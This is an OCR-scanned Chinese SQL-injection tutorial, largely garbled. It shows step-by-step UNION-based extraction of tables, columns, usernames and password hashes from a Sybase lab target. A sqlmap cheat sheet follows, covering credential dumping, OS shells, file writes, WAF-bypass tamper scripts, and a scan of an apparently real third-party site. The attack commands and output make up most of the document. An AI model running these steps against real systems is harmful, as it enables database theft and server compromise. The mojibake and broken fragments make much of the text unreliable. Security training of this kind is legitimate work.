"a83cdb5ad5ed3e1c5597441aaab289f5c",

TEEATFI, FLEATIA

Sybase#( 1k EBL A EAN

llstatus“ : TIO" }

KT SQLServerix N7 K5 Sybase ) 7 X—8, AHH#ITHRTSQLServerFEIE.

Sybase$#f B KIEANT7 R L 5 MssqlfEANTT RAHE, AULAEEAD MBI Z 5] o

235 ¥837 Sybase B 35 FE i\ 1 7~ L4

http://219.153.49.228:49810/new_list.phprid=1

ZAFE, FIH order by 5551 % 15351 4 $ 8 N4

FEfEE BAI X BREEE—T, FAKZ union all select B4, [F] I 7 24 i [5] A7 R 2K 8Y 458 B 28 2467 A B B AL

http://219.153.49.228:49810/new_list.php?id=1 union all
http://219.153.49.228:49810/new_list.php?id=1 union all
http://219.153.49.228:49810/new_list.php?id=1 union all
http://219.153.49.228:49810/new_list.php?id=1 union all

e FIF db_name() JE R EE FE 4 (%5 [F] T mysqlffidatabase()].

http://219.153.49.228:49810/new_list.php?id=-1 union all select null,db_name(),null,null

select 'null',null,null,null
select null, 'null’,null,null
select null,null, 'null’',null
select null,null,null, 'null’

Insert replacing string E Raplace Al B :Z



I xwavimeEEgvI0 X

€ 219153492 mi> Txewctoisss [l mse» ¢ @ Q mE e ¥ AO- B F - &
NT ~ = @ S50l BASICS. UNION BASED~ ERROR/DOUBLE QUERY- TOOLS~ WAF BYPASS- ENCODING- HTML- ENCRYPTION- OTHER- XSS LFi-

& Load URL [ httpy//219.153.49.228:40810/new listphplid=-1 union all select null,db_name(),mull,null

f  split URL

V) Execute

[] Postdata [] Referrer 4% OxHEX & & %URL ¥ X BASES4 BB |-fﬂser15rn'ng to avp-"ac“#ﬂseﬂepbdng string| ] Replace all 2
DEE- LCookies~ »Css+ [JHi- @EN- QREES- GREVE- /Hi- S8H- KT8 MESFRR. LER-
BeTcR@ET - Services- | i Since: New Site Rank: 14593 Site Report lll [CN] CHINANET Chongging province network

mozhe Deepthroat|

o 7| Sybase#i# E H # ffidbo.sysobjects R [ R L IR EME 4

http://219.153.49.228:49810/new_list.php?id=-1 union all select null,name,null,null from

mozhe_Deepthroat.dbo.sysobjects

XKWAYREEREAVI0 X

€ © 219153492 mi> EEamGiomuts ML ¢ @ Q mE e RO B R - & - -
’INT ~ = @ SOLBASICS- UNION BASED~ ERROR/DOUBLE QUERY- TOOLS+ WAF BYPASS. ENCODING- HTML- ENCRYPTION- OTHER- XS5+ LFI-
@ Load URL [ http://210.153.40.228:40810/new listphpfid=-1 union all select null,name, null null from mozhe Deepthroat.dbo.sysobjects
% splitURL
b Execute

[ Pestdata [] Referrer 4 OxHEX 3 % %URL 3» 8 BASESA I | nser sining fo fepf.)n”fnse"? replacing sm"ngl [ Replace All :B
@=R- LCookies~ » CsS~ [JEE- @EA- QREEE- EEENE- Fmd- S8 ATR- mESFLE- L&k
BMTERERT - Services | MU Gince: New Site Rank: 14593 Site Report B [CN] CHINANET Chongqing srovince netwark /

Deepthroat login

o FRMAFEZNRNFERT, RAIVEH where ZHER T R4

http://219.153.49.228:49810/new_list.php?id=-1 union all select null,name,null,null from

mozhe_Deepthroat.dbo.sysobjects where name<>'Deepthroat_login'



o

€ 0219153492 ~ ml> TxERCiOmEs ML ¢ @ QA @ wE AR s BB & &0 -R B
-INT ~ = & SOLBASICS- UNION BASED- ERROR/DOUBLE QUERY- TOOLS- WAF BYPASS- ENCODING- HTML- ENCRYPTION- OTHER- XSS- LFI-

@ Lload URL [ hitpy/210.153.40.228:49810/new listphp?id=-1 union all select nullname, null null from mozhe Deepthroat.dbo.sysobjects where n 'Deepthroat_lagin|

% split URL

) Execute

[ Post data [] Referrer @ OxHEX X K %URL 3 X BASEG4 BB |In:'ef‘rsrrrhg to aepf.)rnllfnse'?repmfng stiing| ] Replace All 2 IW
@57~ LCookiesw p Css+ [J5E- @EA- QRRES- EEETSE- S Ju- RS- MSERAR- [LER-
HeTes T - Services | WBEHUIE Since: New Site Rank: 14593 Site Report Bl [CN] CHINANET Chongging province network

http://219.153.49.228:49810/new_list.php?id=-1 union all select null,name,null,null from

mozhe_Deepthroat.dbo.sysobjects where name<>'Deepthroat_login' and name<>'notice’

€ ) 21915349.2 ~ mi> TZmmGEOmEs Ml L ¢ @ QA wmE "B ¥ A0 B FR-E €- -8
-INT ~ = @ S0OLBASICS- UNION BASED- ERROR/DOUBLE QUERY- TOOLS~ WAF BYPASS ENCODING- HTML-r ENCRYPTION- OTHER- XS5+ LFI-

@ Lload URL (Thitpy//219.153.40.228:49810/new listphplid=-1 union all select null,name,null null from mozhe_Deepthroat.dbo.sysobjects where name <> 'Deepthroat login® and name <>'notice|

% split URL T
) Execute

[ Post data [ Referrer 4 OxHEX 2 4 %URL 3 K BASESA BB | nserf siring fo repf‘)c:”a’nsmrep.f.xfng srrr'ngrl [ Replace All 2B ;B
@R~ LCookies~ p CSS+ [J=E- @ER~ QRRES- @RENE- Sy JEn- KTR- MESFCH- )&
AETEREFT - Services | iDL Since: New Site Rank: 14593 Site Report [l [CN] CHINANET Chongging province network

sysalternates Jii

e FIH dbo.syscolumns [fi& 7514 H13K] 3REX Deepthroat_login & 158 {5 8

http://219.153.49.228:49810/new_list.php?id=-1 union all select null,name,null,null from

mozhe_Deepthroat.dbo.syscolumns



XWAYREEEREAVI0 X s

€ ) 219.15349.2 + ml> ThERGeoiss DL ¢ @ QA Es T B 3 KO3 B - &~ - |- &
INT ~ = & S0OLBASICS- UNION BASED- ERROR/DOUBLE QUERY- TOOLS- WAF BYPASS- ENCODING- HTML- ENCRYPTION- OTHER- XSS- LFI-

@ Lload URL [ httpy//219.153.49.228:49810/new listphpYid=-1 union all select null,name,null,null from mozhe_Deepthroat.dbo.syscolumns |

% split URL

b Execute ]:

[] Postdata [] Referrer K OxHEX M» @ %URL 3 &X BASEG4 BB |-"‘n'r"-‘.~'l-'.'f‘9 to -e,::"-:-'rl|.-a‘-.C-.—'-'.' replacing string| [ Replace All 2B E’
D=ER~ ACookies~ (55~ (&2~ @ER- GRREE- QEGIE- Amc- S8 ALR- BESRE- (| ER-
AIETCREFT - Services | el Since: Mew Site Rank: 14593 Site Report Bl [CN] CHINANET Chongging province netwark

me

o fHF where & H&E W T —/NF4

http://219.153.49.228:49810/new_list.php?id=-1 union all select null,name,null,null from

mozhe_Deepthroat.dbo.syscolumns where name <> ‘'uid’

XWAYREEEEHVI0 X

€ 219153492 ml> TxEmctomEs L ¢ @ QA Es e+ AOs 8 - & &~ o
INT ~ = @ 50LBASICS- UNION BASED- ERROR/DOUBLE QUERY- TOOLS- WAF BYPASS- ENCODING- HTML- EMCRYPTIOM- OTHER- XS55- LFl-

@ Load URL | http://219.153.49.228:49810/new_listphplid=-1 union all select null name,nullnull from mozhe_Deepthroat.dbo.syscolumns where name <> 'uid®

% spliturL

') Execute

[J Post data [ ] Referrer @ OxHEX 2 K %URL 3 &K BASESE 3B | /nsert stiing to .-e_:_-.-'.+:-r||-.-'r--.=.-r«.a,-:.-.::-}:_c.- string| ] Replace All 2 E
©OFR~- ACockies~ 2 (55~ ==~ @ER~ GRRES- QEMETE- Ao S8 AR BEERAE- | FE0-
METCREFT - Services | T, Since: New Site Rank: 14593 Site Report Bl [CN] CHINANET Chongging province network

http://219.153.49.228:49810/new_list.php?id=-1 union all select null,name,null,null from

mozhe_Deepthroat.dbo.syscolumns where name <> 'uid' and name <> 'type'’


https://imgtu.com/i/RgdxDU

XWAYEREEEZSVI0 X T

€ © 219153492 © m> TEERGioxtex @Ml L~ ¢ @ Q@F TE ¥ Ah@ S B - & &- -9 @
INT ~ = @ S50 BASICS+ UNION BASED= ERROR/DOUBLE QUERY+ TOOLS» WAF BYPASS+ ENCODING- HTML- EMNCRYPTION- OTHER- XS5+ LFi+
@ Load URL [ http:y//219.153.48.228:49810/new_list.php?id=-1 union all select null name,null null from mozhe_Deepthroat.dbo.syscolumns where name<>'uid’ and name <= ‘type’

% selitusL I

b Execute

[ Post data [] Referrer 4 OxHEX X & %URL ¥ & BASES4 BB |."\-'¢=".' string to .-.—'hl.-‘.".".';-Il-.M..—'.-' replacing string| 2] Replace All 2 B
@FF~ LCookies~ y Css~ [J=E~ @ER~ QREREE~ EEEIE- A S0 ATE- MESFRR- | FEl-
HSMETCHIFT - Services | it Since: New Site Rank: 14593 Site Report Bl [CN] CHINANET Chongging province network

http://219.153.49.228:49810/new_list.php?id=-1 union all select null,name,null,null from

mozhe_Deepthroat.dbo.syscolumns where name <> 'uid' and name <> 'type' and name <> id

XWAVEEEEESVI0 ® e

€ ) 219153492 ~ mi> FExmrctomiss L e ¢ @ Qs we O s B - & - N|-8 @|- @
NT ~ = & SOLBASICS- UNION BASED- ERROR/DOUBLE QUERY- TOOLS- WAF BYPASS- ENCODING- HTML- EMNCRYPTION- OTHER- XSS+ LFI-

& Load URL [ httpy/219.153.49.228:49810/new_listphptid=-1 unicn all select null name, null null fram mozhe_Deepthroat.dbo.syscalumns where name<>'uid’ and name <> 'type’ and name-«<>'id|

§ splitURL i

b Execute

[ Postdata [ Referrer 4% OxHEX ¥ % %URL ¥ X BASESY 3 |/nsart string to .'P.."-'Iﬁl'r‘ll'."Cr'.'."r‘.;'].'.':."!‘_(.' string| 4] Replace All % D
B~ L Cockies~ p CsSv [58- @ER- QREES- [RtEhE- Fho- Jen- ATS- mEsFRE- (| 56
HercR@F T - Services- B Since: Mew Site Rank: 14593 Site Report Ml [CN] CHINANET Chongging province network

userstat

o XANBHERBATR K IE WKIF 28RS IR F BN I 84 92 &K Deepthroat_login #ATEH, FERNEREN T3
Ho U RHRBATR ERERGETENM.

http://219.153.49.228:49810/new_list.php?id=-1 union all select null,name,null,null from

mozhe_Deepthroat.dbo.syscolumns where id=object_id('Deepthroat_login')



KWAYREEEESVI0 X O

€ 0 219153492 - mi> TxsRcioiss [l ¢ @ QA m= wEa ¥ A s B - & &~ 0|~ & |
INT ~ m @ SOLBASICSs UNION BASED- ERROR/DOUBLE QUERY- TOOLS- WAF BYPASS. ENCODING- HTML» ENCRYPTION= OTHER+ XSS+ LFl»

@ Load URL [ hitpy//210.153.40.228:40810/new listphpfid=-1 union all select null name, null null from mm_neepthmatdba.symlumnslwhmid=ohj.ct_idc'Deepthmn_iogjn*] I

% split URL

¢t Execute I
[ Postdata [ Referrer ¥ OxHEX X X %URL ¥ &= BASEGA I | [nsertstring to a”” nsert replacing s.-.--'.-.\._:r} [ Replace All B
OER~ LCookies~ 55+ (&S~ @EA~ QHREEE- [REENE- Smd- SEn- KT8 mEESFE ) FEH-
SETCRIET - Services | Wi Since: New Site Rank: 14593 Site Report Bl [CN] CHINANET Chongging province netwark
o Yk4E, HWT NS4
http://219.153.49.228:49810/new_list.php?id=-1 union all select null,name,null,null from
mozhe_Deepthroat.dbo.syscolumns where id=object_id('Deepthroat_login') and name<>'id'
XWAVELEEERESVIO0 X e
€ ) 219153492, mi> FTEEmGioptEs 2L ¢ @ QA @EE B ¥ /@ 5 B - & &~ 0-&4 @ - @
INT ~ = @ S50LBASICS- UNION BASED~ ERROR/DOUBLE QUERY- TOOLS- WAF BYPASS- ENCODING- HTML- ENCRYPTION- OTHER- XSS- LFiI-
@ Load URL [ http://219.153.49.228:49810/new_list.phpid=-1 union all select null,name,null null from mozhe_Deepthroat.dbo.syscolumnsfwhere id=object id( Deepthroat login) and name< »'id’|
B split URL
v)  Execute

[ Postdata [] Referrer €2 OxHEX X X %URL X» X BASE64 B | nsect string to .:-”” nsert replacing ~'-':-'-'-‘-_ir| [ Replace All 2 ;7=
@FF- ACookiesw » CSS+ [HE- @EH- GERES~ @ EEHE SNt S0 AR~ BESFE- ()iER-
AMTCRINT - Services | (ZEEUIE Since: Mew Site Rank: 14593 Site Report [l [CN] CHINANET Chongging province network

A

o k4

http://219.153.49.228:49810/new_list.php?id=-1 union all select null,name,null,null from

mozhe_Deepthroat.dbo.syscolumns where id=object_id('Deepthroat_login') and name<>'id' and name <> 'name'’



_

€ 0 219153402 ml> TEERGEOtEs ML ¢ @ QA EE e P AO S B R & e DD D
INT ~ = & S50LBASICS- UNION BASED- ERROR/DOUBLE QUERY- TOOLS~ WAF BYPASSs ENCODING- HTML- ENCRYPTION- OTHER- XS5+ LFI-

@ Load URL [ hitp://219.153.49.228:49810/new_list.php?id=-1 union all select null,name,null null from mozhe_Deepthroat.db lumng wh “d=object id( Deepthraat login') and name <> id' and name <>'name’ |
% splitURL

) Execute

[ Postdata [] Referrer €K OxHEX X @K %URL X @K BASEG4 BB ||’nseﬂsnmg roaepf.x4|fn5ﬁrrepbcmg string| b Replace All 2 B
Oﬁﬂ A Cockies» p CsSv [J=E> @ER~ GRIEE~ .im' At JEny AR mEEFREy )&k
AleTcREET - Sarmousvl BABODE. Since: New Site Rank: 14593 Site Report Ill [CN] CHINANET Ct ing province network

password R g

e 3RHL Deepthroat_login & T i) name,password/z &

http://219.153.49.228:49810/new_list.php?id=-1 union all select null,name,null,null from Deepthroat_login

http://219.153.49.228:49810/new_list.php?id=-1 union all select null,password,null,null from Deepthroat_login

IR e

€ © 219153492 mi> TEEmctopuEs Mo ¢ @ QA mE e ¥ A0S 8 @ - & & 0~
INT ~ = @ S50LBASICS- UNION BASED- ERROR/DOUBLE QUERY- TOOLS- WAF BYPASS- ENCODING- HTML- ENCRYPTIOM- OTHER- XS5- LFl-

@ Lload URL [ http://219.153.49.228:49810/new listphp?id=-1 union all select null,name, null null from Deepthrost_login

& splituRL

o) Exeeute

[J Postdata [] Referrer 4 OxHEX & X %URL 3 K BASES4 BB ||’nser1 string to f1=pbc4 |Jnse'f replacing string| (2] Replace All b | -
@R~ ACockiesw pCSS+ =S~ @ER- QRAERE- EEGIE- Ao JER- ATR- BEEFRE- )=
HETCREFT - Services- | kBT Since: New Site Rank: 14593 Site Report Ml [CN] CHINANET Chongqing province network

T ——

EZE—ra L

€ 0 21915349.2 v ml> TEmmcEowies @l L ¢ @ QA mE B ¥ AO-5 B G- & €- - E @~
INT ~ = @ SOLBASICS- UNION BASED- ERROR/DOUBLE QUERY- TOOLS- WAF BYPASS+ ENCODING- HTML- ENCRYPTION. OTHER- XSS LFl-

@ Load URL (http://219.153.40.228:49810/new_list.php2id=-1 union all select null, password,null null from Deepthroat lagin |

% splitURL I

(2 Execute

DlPostdate [ Referer @K OHEX BB @K %URL 3B @K BASESS M | insert string to replacd | insert replacing string| 1 Replace All 2> 2%
@ER~ LCookiesw p CSSr [I=E- @EA~ QRERE- EEMNRE- A JS&0- AT WESFCR (|EE
_JIETCREFT - Servicesr | 2SS, Since: Mew Site Rank: 14593 Site Report Bl [CN] CHINANET Chongging province network

1¢c63129ae9db9c60c3e8aa%94d3e00495




o IHEHARRMNMEEKIname. passwordfs 5, 4k4E

http://219.153.49.228:49810/new_list.php?id=-1 union all select null,name,null,null from Deepthroat_login where

name <> 'zhang'

http://219.153.49.228:49810/new_list.php?id=-1 union all select null,password,null,null from Deepthroat_login

where name <> 'zhang'

o

€ O 219153492 m> FEsmcroguEs @l ML ¢ @ Q Es e 4+ A0 B G- & &- D
INT ~ = @ SOLBASICS- UNION BASED- ERROR/DOUBLE QUERY- TOOLS- WAF BYPASS- ENCODING- HTML- EMCRYPTION- OTHER- XSS- LFi-

@ Load URL [ httpy//219.153.40.228:49810/new listphplid=-1 union .|||;.1-ctml,n.m.,nu||,mufmm Deepthroat_login where name <»'zhang’ |

& split URL
+ Execute

[ Postdata [] Referrer € OxHEX X% % %URL ™ X BASEGS BB |-fr:5='-rrsrn'r=g to f?pf.ar“fnsa'rrep.f.mhg 5.'rfhg| [ Replace All 2
DEF- LCookies~ pCSS~ [JFE- @EK- QRIES- ERENE- SR~ SEn- XIR- MEEHERE- | &R~
JIETCRIET - Services | 2t Since: Mew Site Rank: 14593 Site Report [l [CN] CHINANET Chongging province network

mozhelll e

Prmmmnes

€ O 219153492 + mi> FEERGEOEs [l Lo ¢ @ QEs wEBeE ¥ #@ 13 84 @ - & €-
INT ~ = & SOLBASICS- UNION BASED~ ERROR/DOUBLE QUERY- TOOLS- WAF BYPASS. ENCODING- HTML- ENCRYPTION- OTHER- X55- LFi-

@ Load URL (hrtp://219.153.49.228:49810/new _list.php?id=-1 union alf select null password null null from Deepthroat login where name <>'zhang| |

% splitURL i

) Execute

Ol Postdata []Refemer @K OcHEX B @K %URL B @K BASES! I | inscr string to replacd | insert replacing string| [ Replace All 2 2
DFF~ ACookiesw yC5S~ [JFE- @EA~ @FRERS- EEENE- SHi- JEn- A15- mEEFAR- 1EE-
JETCREET - Servicess | EEESIL Since: New Site Rank: 14593 Site Report [l [CN] CHINANET Chongging province network

62026262352ba00f21d9fb24296a68cd /

e OK!5E#E!

H SQLMAP 5| H 1 /> & il
KTSQALMAPR K AISE Z AL E, XBEME—ARBERNBMEH . FIGBEE R ABEE T 5 KISQLMAP = &M F #E # .
SQLMAPHKE 77 Hutik - https://github.com/sgimapproject/sqimap

SQLMAPEFF M - https://blog.csdn.net/weixin_42250835/article/details/111830402


https://github.com/sqlmapproject/sqlmap
https://blog.csdn.net/weixin_42250835/article/details/111830402

SQLMAP B4k 3 B[N & Z B 70 T8, R & 2R TR EREE K IRE)] -

SQLMAPHEIS % S Eie— 2 B4 -

sqlmap -u
sqlmap -u
sqlmap -u
Ip)

sqlmap -u

"http://127.0.0.1/sqli/Less-1/?id=1"
"http://127.0.0.1/sqli/Less-1/?id=1"
"http://127.0.0.1/sqli/Less-1/?id=1"

"http://127.0.0.1/sqli/Less-1/?id=1"

##Wrurl & 5 FAERT

#RGIBLER

--batch  #XIFTA KX ERXKEFHRRNBREMUKER (—ERREEIL

--batch -v2 #ErR%EHEBRRT

(5 B ENE RIS ATANESR, RS- <R RIGEREANER, WERSHC-v 6”RE\EMUFZA 6. RiMH LA AL F4
SRR T

A U1 A W N PR O

sqlmap -r
sqlmap -r
sqlmap -u

Zurl R B EERA

sqlmap -u
ATENT

sqlmap -u

sqlmap -u
sqlmap -u
sqlmap -u
sqlmap -u
sqlmap -u
sqlmap -u

i3}

sqlmap -u
sqlmap -u
sqlmap -u

sqlmap -u

HHR

rizhi
rizhi
"http

"http

"http:

"http:
"http:
"http:
"http:
"http:
"http:

"http:
"http:
"http:

"http:

LExt #9rizhi.txt” RIE M httpiE R A
.txt -p username #IBESH, HE-MEHBSANSHEFEESQUIENRRE, Bid-plaESHOHITEN
--cookie="#MEfficookie"  #HiZMIEFEEGT RN, Bidcookielhi, KW

1//127.

Q.

://127.0.

//127.
//127.
//127.
//127.
//127.
//127.

sqlmap -u "http://127.
PR FEusers R FTA 5]

sqlmap -u "http://127.0.0.

0

© ® ® © ® ®
©O ® ® ®© ® ®

//127.0.

//127.0.
//127.0.
//127.0.

//127.0.

0.

0.

1/sqli/Less-1/?id=1"
.1/sqli/Less-1/?id=1"
.1/sqli/Less-4/?id=1"
.1/sqli/Less-1/?id=1"
.1/sqli/Less-1/?id=1"
.1/sqli/Less-1/?id=1"
.1/sqli/Less-1/?id=1"

.1/sqli/Less-1/?id=1"
.1/sqli/Less-1/?id=1"

.1/sqli/Less-1/?id=1"
.1/sqli/Less-1/?id=1"
.1/sqli/Less-1/?id=1"
.1/sqli/Less-1/?id=1"

1/sqli/Less-1/?id=1"

1/sqli/Less-1/?id=1"

RE/RPythonffitracebacksfE B #iR15 8 [ERROR]FIK4E2(5 B [CRITICAL];
[ &7 2815 B [ INFO ] A% & 15 B [WARNING];
[ B & 7~ 1 i {5 B [DEBUG] ;
T B A N ASE ) B e s
[ B B oRHTTPIE R 5

B B ARHT TP B 3k 5
A B S ARHT TP U B2 4

--data="name=value" ##Elpostif3 HIEHE L “name=value” K AIEN Bt

--random-agent

#EFHEE M User-Agent/ Bl

--users HEERRENERF,
--passwords #EFEHIEEH P A RNEL

--current-user

#EE SR B 2 n0 A

--current-db #&EE MEIKIHIEE
--is-dba #AWT LT R E R B R R
--roles #HBEEMEEER AR, ZaICERH T L EEEEFERO0racle

--dbs
--tables
--columns

-D information_

-D information_

-D information_

rmation_schema fflusers&H Kusername? & [ fr A B H T £

R TR R
HEH T P EER
#I% MR B TR 15
schema --tables #BHHIEZEinformation_schemad HfT

schema -T users --columns #&Hinformation_schema

schema -T users -C username --dump #BHEIEEinfo

sqlmap -u "http://127.0.0.1/sqli/Less-1/?id=1" -D information_schema -T users --dump-all #&H¥3EEinformation_s
chema® fjusersRH I PTH HIEH T
sqlmap -u "http://127.0.0.1/sqli/Less-1/?id=1" -D information_schema --dump-all #ZEHIEEinformation_schema
TR B0 IF T 8
sqlmap -u "http://127.0.0.1/sqli/Less-1/?id=1" --dump-all #FHiZE3EE T HRFTE BiE
XEREEFBRNR, IABTRSFERIVBHN BERT TR, EHHEERRAWENL TSRS


https://download.csdn.net/download/weixin_42250835/16191021
https://blog.csdn.net/qq_21500173/article/details/53648696

sqlmap -u "http://127.0.0.1/sqli/Less-1/?id=1" --identify-waf MM RZEHWAF
sqlmap -u "http://127.0.0.1/sqli/Less-1/?id=1" --tamper=space2comment.py #&EMABHITIIE, B/ **/RETHK
RTRMURLR B ETEWAF, I B anfged i) 77 8 78 T ST SQLMAP i 4% ¥ R AT VA

sqlmap -u "http://127.0.0.1/sqli/Less-4/?id=1" --level=5 --risk=3 #FN&LLKS, FEBHREHE3, HRREEI).
levell% 4 (1-5, BRilALD

level 1: XFGETHIPOSTHIEE AT MR

level 2: &XTHTTP cookieiHfTHlIiR

level 3: &XHTTP User-Agent/Refererski#tiTlis

level4-5: WRMEMART, FNNREELSER

risk ER (1-4, BRIND T RS 5K S80InSEE 3 B ok X .
risk 1: WHERERZSEER TR ERLE

risk 2: FEFEHHTER

risk 3: oriBA)HINIR

risk 4: updateffIiili

sqlmap -u "http://127.0.0.1/sqli/Less-1/?id=1" --sql-shell ##ATHEEMsqliEH
X B BT R RN AE X LI B E BT IE A M R R B A

sqlmap -u "http://127.0.0.1/sqli/Less-4/?id=1" --dbms="MySQL" #E 2 I E Amysql Firebird, HSQLDB, IBM DB2,
Informix, Microsoft Access, Microsoft SQL Server, MySQL, Oracle, PostgreSQL, SAP MaxDB, SQLite, Sybase
dbms&“Database Management System”MIZEE . BRINENL T SQLMAPS: E ShRE I W vk 4 F BB BE S B R 28, QR SQLMAP H his i 5 MU ek &
AEiESQLMAPHHTHIE FETe gU i, TTLAE R S8 - -dbms” s E B/ EFH R L, W: “--dbms postgresql”.

HtFMysqlfiMicrosoft SQL ServerfIEIXFEIEE:
--dbms MySQL <version>
--dbms Microsoft SQL Server <version>
St FMySQLR B, RELUXFER: 5.0, Xt FMicrosoft SQL Serverskit, RELUXFEN: 2005,
HRAETRINC - -doms S FR BN T - -fingerprint”, SQLMAPR&7EHE ERHIRESHAKAHITIREERA.
REEMRPE - -doms”, HNERLESQLMAP B Sk il 5E 474k,

sqlmap -u "http://127.0.0.1/sqli/Less-1/?id=1" --os-shell/--os-cmd  #¥4T--0s-shellr4, FREUH bR 2R
BAEH FSQLMAP B RMETHE EEHARANBRIERSE, BT EXFNRERKZSE: Linux. Windows
WRIBHEF MEHSH - -os” B EBITHREEHRANBRIER S . URERAMRBEN A M ZER S, BHUER1IESQLMAP B kil i

°

IE

sqlmap -u "http://127.0.0.1/sqli/Less-4/?id=1" --file-read "usr/desktop/test.txt" #iZBHIFIRS23usr/desktop/ FHIt
est.txt3Cf

sqlmap -u "http://127.0.0.1/sqli/Less-4/?id=1" --file-write test.txt --file-dest "usr/desktop/hack.txt" #¥4
M test. txt 3 B4R BIFRSG23Husr/desktop/ T, HH4 % Nhack.txt

sqlmap -u "http://127.0.0.1/sqli/Less-4/?id=1" --proxy="127.0.0.1:8080" #1E
sqlmap -u "http://127.0.0.1/sqli/Less-4/?id=1" --technique T #1B BB REIREN, XANSHA] LR 2 SQLMAP{E F IR B
A, BRABR TR AERTR, 48, RINMEUTUEEREFTIREE.
KRR R T
B: Boolean-based blind SQL injection (AF/REFEN)
: Error-based SQL injection GREERIEN)
UNION query SQL injection (FJEE&ZMIEN)
Stacked queries SQL injection (F[ZiEHEHIEN)
Time-based blind SQL injection (I AIFEEIEN)

- L Cc m

sgqlmap -u "http://127.
sqlmap -u "http://127.
sqlmap -u "http://127.
sgqlmap -u "http://127.
sgqlmap -u "http://127.
sqlmap -u "http://127.
sqlmap -u "http://127.

.1/sqli/Less-4/?id=1" -v 3  ##HEMBEHEA

.1/sqli/Less-4/?id=1" --threads S5#¥8EL&FEH

.1/sqli/Less-4/?id=1" --fresh-queries #&ERZEHF

.1/sqli/Less-4/?id=1" --flush-session #kl#isession

.1/sqli/Less-4/?id=1" --random-agent #HEZEHhttpk

.1/sqli/Less-4/?id=1" --tamper base64encode #T IR B RS Tbase64%miL
.1/sqli/Less-4/?id=1" --referer http://www.baidu.com #fhi&refererFE

O ® ®© ®© ® ® ©
®© ® ®© ®© ® ® ©



sqlmap -u "http://127.0.0.1/sqli/Less-4/?id=1" --keep-alive fR¥FER:, JHI [CRITICAL] connection dropped or
unknown HTTP status code received. sqlmap is going to retry the request(s) fREBHIFHE, f#HXAN S

sqlmap -u http://127.0.0.1/Less-2/ --batch --crawl=2 --delay 2 -v 2

AWrURLE & FEEAN B [A R EZ M URL]
B EURL

sqlmap -u http://127.0.0.1/Less-1/?id=1 --batch --level 3 -v 3
--batch: &% & BER B IEF KR I R BN R M SE AL A IE IR

--level 3: HWEFFAIHNIR

-v 3:HE BEH3, RN BRI RBER R

# sqlmap -u http://127.0.0.1/Less-1/?id=1 --batch --level 3 -v 3

[!] legal disclaimer: Usage of sqlmap for at ing targets without prior mutwal consent is illegal. It is the end user's responsibility to obey all applicable local, state an
d federal laws. Developers assume no liabili nd are not responsible for any misuse or damage caused by this program

cleaning up configuration parameters

setting the HTTP timeout

setting the HTTP User-Agent header

creating HTTP requests opener object

;ettmc the HTTF Referer header to the target URL

protected by some kind of WAF
SELECT 1,NULL, '<script>alert("> ) ript>',table_name FROM information_schema.tables WHERE 2>1--/**/ p_cmdshell('cat ../.

0] testing if the target URL content is stable

0] target URL content is st

0] testing if GET parameter 'id' is dynamic
2317

[
[
[
[
[ ch r for current p eter to ©
[ INF G ears to y ic
[ : - e
[
[
[
[2

'id' might be injectable (possible DBMS: 'MySQL')
">FQfDyH
INFO] i (XSS) test shows that GET parameter 'id' might be vulnerable to cross-site scripting (XSS) attagh
1 FO] testing for SQL injection on GET parameter 'id'
it laoks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
[ 11 1 used the default behavior, running in batch mode
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (3) and risk (1) values? [Y/n] Y

PAT I B 2 ]G 2B B R AR S5 8 18 8UE B 515 Bt S0 g 4a

[ 1 _performed 2 gueries in
cpprafinq tem: Linux Ubuntu

e 26t A —$RIMURLIVT — RS 2 AR, £ A 3D BUE BB T HSCPE, RG4S B R AT R0,
H 52 R4 -2 85 1 v\ -SQLMAP T B 31
(EEFEE NS, A E A Ak, g S0 ]

knotsolutions.com/case_study view.php?id=MQ==

XERAVEBAAN K 0 OTHER, EREE "M== 418? KKXENMQ=="R}TbasecsHIFNSH,
R

£ SQLMAP ffitamperfiii 4 B & — N "baseb4encode.py" A<, FATHT LAF) F % B0 A< SR 4T SRFD FIVEN o



sgqlmap -u "http://knotsolutions.com/case_study view.php?id=" --tamper-base64encode.py

XEFANET, WRBAIEE L id=MQ=="E#{f A base64encode.py A BT IAZIENKITE, 2K "MQ=="84k N4
ITEN, TUZXEFER ‘MQ=="%#, REHHIITEAN.

p-py —u "http: " knot g

[t]1 legal
zibility to all app
no liability and are not

72821-82-22~

| 1 I
[ 1L 1 provided - : ) i iz empty. PL » always
use only valid parameter values s o » ahle to Fun properly

| 1

1 [WARNIMG] ; 1

1 [ 1 there iz a D *ror fo in the HTTP response hody which
could interfere with the result
you have not d ared cookie
dcaeelGBf@. . .bBbALaded5’ ). Do you want to usE't * <)

B SCERAVR BN SRR A L B R RSB 15 8 AMSQUIEAR, URLMHEZERF&H A KMHE?RESH

ZHTRMAAURLAN B & WS EOHTEANK, REHERKCGETT AMEN,FATEZBNSHEREURLHRRTUEE,
TATTUAEEFA .



RV S ABEE GETHES I T RAEREIE, WA ZWAFAITENR? X2 E T REANERR XFF. HTTPk. Post.
CookieE N"H1 75 2o

ik, BATREIET, HIEEERHTIEET AN
PHPEP_REQUEST\ _POST. $ GETHIX 51
$_REQUEST

phpH$_REQUESTH LASKEX LAPOST 7 ¥ERGET 7 kiR AT ISR, B HEEHLENE
$_GET

FH SRR B e ) B3 8% 1B GE T VE SR AT I R

GET M BB S HHIE MR R A MactionBHEFTIRIKIURLE, EMZANEGENFR——NWR, RFEURLFTTLLES], HEAFWTFHRA
1. ZEWARE, EURLPHLIERE

2. fRRBEEEBUDN, DHEKT2KB.

$_POST

A SRARER Fh ) Y88 8 1 POS T U7 ¥k 4R AL K 43

POST 5 At 2 EIEHTTP POSTHLA, BFREMEANFERIBMBIEHTTP HEADERK —iEiE%Flaction B FTisIURLEHEF, AP BEAZIXA TR,
IR KD — R WA Z RS, HR2ABRERSBHAE, ELMEAFR. T _GETHRZEMIER

$\_REQUEST. $\_POST. $\_GET KX HIFIEL R

$\_REQUEST["Z%7" | B H$\_POST["Z%1" ] $\_GET["Z%" |MIThAE, (B $\_REQUEST[ "Z41" | tLE 1.

Bt postget kA T A HIR AN T LUBIL S\ REQUESTHAL " 241" |3K/8..

get5 postif 3k #1 A [F

gets I3 B K 4

1. getFREUrLFHEHHHESH, REELUSCRRTE R EEHE
2. RRBIERA, WKBES (FRNKBLHERD

3. ZAMMK, SHHEEREILE

4. FEEHR, @FHTYZEMERTERER

post 75 =,

1-Z &R

2-HEEBIRRA, HRBIERERAER
3-ERALWEE, MAXREER K LidFH

